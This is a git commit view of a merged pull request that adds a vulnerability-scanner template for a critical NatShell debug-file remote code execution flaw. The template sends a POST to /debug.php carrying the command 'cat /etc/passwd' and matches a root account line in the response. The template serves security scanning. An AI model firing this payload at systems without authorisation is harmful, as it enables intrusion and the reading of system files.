Merge pull request #1547 from pikpikcu/patch-162

Create natshell-rce.yaml
patch-1
Sandeep Singh 2021-05-28 11:13:33 +05:30 committed by GitHub
commit 585c649740
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 0 deletions

View File

@ -0,0 +1,26 @@
id: natshell-rce
info:
name: NatShell Debug File RCE
author: pikpikcu
severity: critical
reference: https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw
tags: natshell,rce
requests:
- method: POST
path:
- "{{BaseURL}}/debug.php"
body: |
cmd=cat /etc/passwd
matchers-condition: and
matchers:
- type: regex
regex:
- "toor:[x*]:0:0"
- type: status
status:
- 200